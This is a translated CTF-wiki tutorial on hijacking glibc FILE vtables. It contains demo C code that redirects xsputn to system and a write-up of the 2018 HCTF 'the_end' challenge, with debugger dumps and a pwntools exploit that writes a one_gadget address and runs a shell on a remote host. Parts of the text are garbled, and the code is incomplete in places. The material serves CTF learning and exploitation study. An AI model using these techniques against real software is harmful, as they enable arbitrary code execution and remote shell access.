Skip to content

假造vtable hijack program flow


Earlier we introduced the file stream feature (FILE) in Linux. We can see that some common IO operation functions in Linux need to be processed through the FILE structure. In particular, there is a vtable in the _IO_FILE_plus structure, and some functions will fetch the pointers in the vtable for calling.

Therefore, the central idea of the fake vtable hijacking process is to implement the vtable of _IO_FILE_plus by pointing the vtable to the memory we control and placing the function pointer in it.

Therefore, vtable hijacking is divided into two types. One is to directly rewrite the function pointer in the vtable, which can be realized by writing at any address. The other is to overwrite the vtable pointer to the memory we control, and then arrange the function pointer in it.


Here is a demonstration of the pointer in the vtable, first need to know where _IO_FILE_plus is located, in the case of fopen is located in the heap memory, for stdin\stdout\stderr is located in

int main(void)


    FILE *fp;

    long long *vtable_ptr;


    vtable_ptr=*(long long*)((long long)fp+0xd8);     //get vtable

    vtable_ptr[7]=0x41414141 //xsputn

    printf("call 0x41414141");


The address of the vtable is obtained according to the offset of the vtable at _IO_FILE_plus, and the offset is 0xd8 under the 64-bit system. After that, you need to find out which function in the vtable is called by the IO function to be hijacked. About the IO function call vtable has been given in the FILE structure introduction section, know that printf will call xsputn in the vtable, and xsputn is the eighth item in the vtable can be written to this pointer for hijacking.

And when the vtable function such as xsputn is called, the first parameter passed in is actually the corresponding IO_FILE_plus address. For example, this example calls printf, and the first parameter passed to the vtable is the address of _IO_2_1_stdout.

Use this to pass arguments to the hijacked vtable function, such as

#define system_ptr 0x7ffff7a52390;

int main(void)


    FILE *fp;

    long long *vtable_ptr;


    vtable_ptr=*(long long*)((long long)fp+0xd8);     //get vtable


vtable_ptr [7] = system_ptr // xsputn



However, under the current libc2.23 version, the vtable located in the libc data segment cannot be written. However, it can still be exploited by forging vtables in controllable memory.

#define system_ptr 0x7ffff7a52390;

int main(void)


    FILE *fp;

    long long *vtable_addr,*fake_vtable;



    vtable_addr=(long long *)((long long)fp+0xd8);     //vtable offset

    vtable_addr[0]=(long long)fake_vtable;


    fake_vtable[7]=system_ptr; //xsputn



We first allocate a memory to store the fake vtable, then modify the _IO_FILE_plus vtable pointer to point to this memory. Because the pointer in the vtable we are placing the address of the system function, we need to pass the parameter "/bin/sh" or "sh".

Because the function in the vtable will call the corresponding _IO_FILE_plus pointer as the first parameter, so here we write "sh" to the _IO_FILE_plus header. Subsequent calls to fwrite will execute system("sh") via our fake vtable.

Similarly, if _IO_FILE created by fopen and other functions does not exist in the program, you can also select _IO_FILE located in such as stdin\stdout\stderr. These streams will be used in functions such as printf\scanf. Prior to libc2.23, these vtables were writable and there were no other tests.

print & _IO_2_1_stdin_
$ 2 = (struct _IO_FILE_plus *) 0x7ffff7dd18e0 <_IO_2_1_stdin_>

0x00007ffff7a0d000 0x00007ffff7bcd000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/

0x00007ffff7bcd000 0x00007ffff7dcd000 0x00000000001c0000 --- /lib/x86_64-linux-gnu/

0x00007ffff7dcd000 0x00007ffff7dd1000 0x00000000001c0000 r-- /lib/x86_64-linux-gnu/

0x00007ffff7dd1000 0x00007ffff7dd3000 0x00000000001c4000 rw- /lib/x86_64-linux-gnu/

2018 HCTF the_end

[Topic link] (

Basic Information

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)


  signed int i; // [rsp+4h] [rbp-Ch]

  void *buf; // [rsp+8h] [rbp-8h]


  printf("here is a gift %p, good luck ;)\n", &sleep);




  for ( i = 0; i <= 4; ++i )


    read(0, &buf, 8uLL);

    read(0, buf, 1uLL);




Analyze the problem, using the point is very clear in the main function, and:

  • In addition to canary protection
  • libc base address and libc version
  • Ability to write 5 bytes anywhere


  • Utilizing the program to call exit, it will traverse _IO_list_all and call the _setbuf function in vatable under _IO_2_1_stdout_.
  • You can modify two bytes to forge a fake_vtable near the current vtable and then use 3 bytes to modify the contents of _setbuf in fake_vtable to one_gadget.

We first debug to find the offset of _IO_2_1_stdout_ and libc. The stupid thing here is that I originally searched for related symbols in gdb, but in fact the address found is the location of the symbol _IO_2_1_stdout_, not its The location on the libc data segment, we use the ida or libcsearch tool to find the vtables offset 0x3C56F8 as follows:

.data:00000000003C56F8                 dq offset _IO_file_jumps  // vtables

.data:00000000003C5700                 public stderr

.data:00000000003C5700 stderr          dq offset _IO_2_1_stderr_

.data:00000000003C5700                                         ; DATA XREF: LOAD:000000000000BAF0↑o

.data:00000000003C5700                                         ; fclose+F2↑r ...

.data:00000000003C5708                 public stdout

.data:00000000003C5708 stdout          dq offset _IO_2_1_stdout_

.data:00000000003C5708                                         ; DATA XREF: LOAD:0000000000009F48↑o

.data:00000000003C5708                                         ; fclose+E9↑r ...

.data:00000000003C5710                 public stdin

.data:00000000003C5710 stdin           dq offset _IO_2_1_stdin_

.data:00000000003C5710                                         ; DATA XREF: LOAD:0000000000006DF8↑o

.data:00000000003C5710                                         ; fclose:loc_6D340↑r ...

.data:00000000003C5718                 dq offset sub_20B70

.data:00000000003C5718 _data           ends


.bss:00000000003C5720 ; ===========================================================================

Let's look at the contents of the virtual table:

pwndbg> x /30gx 0x7f41d9c026f8

0x7f41d9c026f8 &lt;_IO_2_1_stdout_ + 216&gt;: 0x00007f41d9c006e0 0x00007f41d9c02540
0x7f41d9c02708 <stdout>:    0x00007f41d9c02620  0x00007f41d9c018e0

0x7f41d9c02718 <DW.ref.__gcc_personality_v0>:   0x00007f41d985db70  0x0000000000000000

0x7f41d9c02728 <string_space>:  0x0000000000000000  0x0000000000000000

0x7f41d9c02738 &lt;__ printf_va_arg_table&gt;: 0x0000000000000000 0x0000000000000000
0x7f41d9c02748 <transitions>:   0x0000000000000000  0x0000000000000000

0x7f41d9c02758 <buffer>:    0x0000000000000000  0x0000000000000000

0x7f41d9c02768 <buffer>:    0x0000000000000000  0x0000000000000000

0x7f41d9c02778 <buffer>:    0x0000000000000000  0x0000000000000000

0x7f41d9c02788 <buffer>:    0x0000000000000000  0x0000000000000000

0x7f41d9c02798 <getttyname_name>:   0x0000000000000000  0x0000000000000000

0x7f41d9c027a8 <fcvt_bufptr>:   0x0000000000000000  0x0000000000000000

0x7f41d9c027b8 <buffer>:    0x0000000000000000  0x0000000000000000

0x7f41d9c027c8 <buffer>:    0x0000000000000000  0x0000000000000000

0x7f41d9c027d8 <buffer>:    0x0000000000000000  0x0000000000000000

Then at this time look for a fake_vtable near the virtual table, the following conditions must be met:

  • fake_vtable_addr + 0x58 = libc_base + off_set_3

  • where 0x58 is checked according to the table below is the offset of set_buf in the virtual table

void * funcs[] = {

1 NULL, // "extra word"


3 exit, // finish

4 NULL, // overflow

5 NULL, // underflow

6 NULL, // uflow

7 NULL, // pbackfail

8 NULL, // xsputn #printf

9 NULL, // xsgetn
10 NULL, // seekoff
11 NULL, // seekpos

12 NULL, // setbuf
13 NULL, // sync

14 NULL, // target location
15 NULL, // read

16 NULL, // write

17 NULL, // seek

18 pwn, // close

19 NULL, // stat

20 NULL, // showmanyc

21 NULL, // imbue


I chose the following address as fake_vtable here:

pwndbg> x /60gx 0x7f41d9c02500

0x7f41d9c02500 <_nl_global_locale+224>: 0x00007f41d99cb997  0x0000000000000000

0x7f41d9c02510: 0x0000000000000000  0x0000000000000000

0x7f41d9c02520 <_IO_list_all>:  0x00007f41d9c02540  0x0000000000000000

0x7f41d9c02530: 0x0000000000000000  0x0000000000000000

0x7f41d9c02540 <_IO_2_1_stderr_>:   0x00000000fbad2086  0x0000000000000000

0x7f41d9c02550 <_IO_2_1_stderr_+16>:    0x0000000000000000  0x0000000000000000

0x7f41d9c02560 <_IO_2_1_stderr_+32>:    0x0000000000000000  0x0000000000000000

0x7f41d9c02570 <_IO_2_1_stderr_+48>:    0x0000000000000000  0x0000000000000000

0x7f41d9c02580 <_IO_2_1_stderr_+64>:    0x0000000000000000  0x0000000000000000

0x7f41d9c02590 <_IO_2_1_stderr_+80>:    0x0000000000000000  0x0000000000000000

0x7f41d9c025a0 <_IO_2_1_stderr_+96>:    0x0000000000000000  0x00007f41d9c02620

0x7f41d9c025b0 <_IO_2_1_stderr_+112>:   0x0000000000000002  0xffffffffffffffff

0x7f41d9c025c0 <_IO_2_1_stderr_+128>:   0x0000000000000000  0x00007f41d9c03770

0x7f41d9c025d0 <_IO_2_1_stderr_+144>:   0xffffffffffffffff  0x0000000000000000

0x7f41d9c025e0 <_IO_2_1_stderr_+160>:   0x00007f41d9c01660  0x0000000000000000

0x7f41d9c025f0 <_IO_2_1_stderr_+176>:   0x0000000000000000  0x0000000000000000

0x7f41d9c02600 <_IO_2_1_stderr_+192>:   0x0000000000000000  0x0000000000000000

0x7f41d9c02610 <_IO_2_1_stderr_+208>:   0x0000000000000000  0x00007f41d9c006e0

0x7f41d9c02620 <_IO_2_1_stdout_>:   0x00000000fbad2a84  0x00005582e351c010

0x7f41d9c02630 <_IO_2_1_stdout_+16>:    0x00005582e351c010  0x00005582e351c010

0x7f41d9c02640 <_IO_2_1_stdout_+32>:    0x00005582e351c010  0x00005582e351c010

0x7f41d9c02650 <_IO_2_1_stdout_+48>:    0x00005582e351c010  0x00005582e351c010

0x7f41d9c02660 <_IO_2_1_stdout_+64>:    0x00005582e351c410  0x0000000000000000

0x7f41d9c02670 <_IO_2_1_stdout_+80>:    0x0000000000000000  0x0000000000000000

0x7f41d9c02680 <_IO_2_1_stdout_+96>:    0x0000000000000000  0x00007f41d9c018e0

0x7f41d9c02690 <_IO_2_1_stdout_+112>:   0x0000000000000001  0xffffffffffffffff

0x7f41d9c026a0 <_IO_2_1_stdout_+128>:   0x0000000000000000  0x00007f41d9c03780

0x7f41d9c026b0 <_IO_2_1_stdout_+144>:   0xffffffffffffffff  0x0000000000000000

0x7f41d9c026c0 <_IO_2_1_stdout_+160>:   0x00007f41d9c017a0  0x0000000000000000

0x7f41d9c026d0 <_IO_2_1_stdout_+176>:   0x0000000000000000  0x0000000000000000

pwndbg> distance 0x7f41d9c025e0 0x7f41d983d000

0x7f41d9c025e0->0x7f41d983d000 is -0x3c55e0 bytes (-0x78abc words)

pwndbg> p 0x7f41d9c025e0 -0x58

$10 = 0x7f41d9c02588

pwndbg> distance 0x7f41d9c02588 0x7f41d983d000

0x7f41d9c02588->0x7f41d983d000 is -0x3c5588 bytes (-0x78ab1 words)

pwndbg> distance  0x7f41d9c025e0 0x7f41d983d000

0x7f41d9c025e0->0x7f41d983d000 is -0x3c55e0 bytes (-0x78abc words)

The final exploit script is as follows:

from pwn import *



# p = process('the_end')

p = remote('',1234)

to = 0
if rem ==1:

    p = remote('',20002)

    p.recvuntil('Input your token:')

p.sendline ( &#39;RyyWrOLHepeGXDy6g9gJ5PnXsBfxQ5uU&#39;)

sleep_ad = p.recvuntil(', good luck',drop=True).split(' ')[-1]

libc_base = long(sleep_ad,16) - libc.symbols['sleep']

one_gadget = libc_base + 0xf02b0

vtables =     libc_base + 0x3C56F8

fake_vtable = libc_base + 0x3c5588

target_addr = libc_base + 0x3c55e0

print 'libc_base: ',hex(libc_base)

print 'one_gadget:',hex(one_gadget)

print 'exit_addr:',hex(libc_base + libc.symbols['exit'])

# gdb.attach(p)

for i in range(2):



for i in range(3):



p.sendline("exec /bin/sh 1>&0")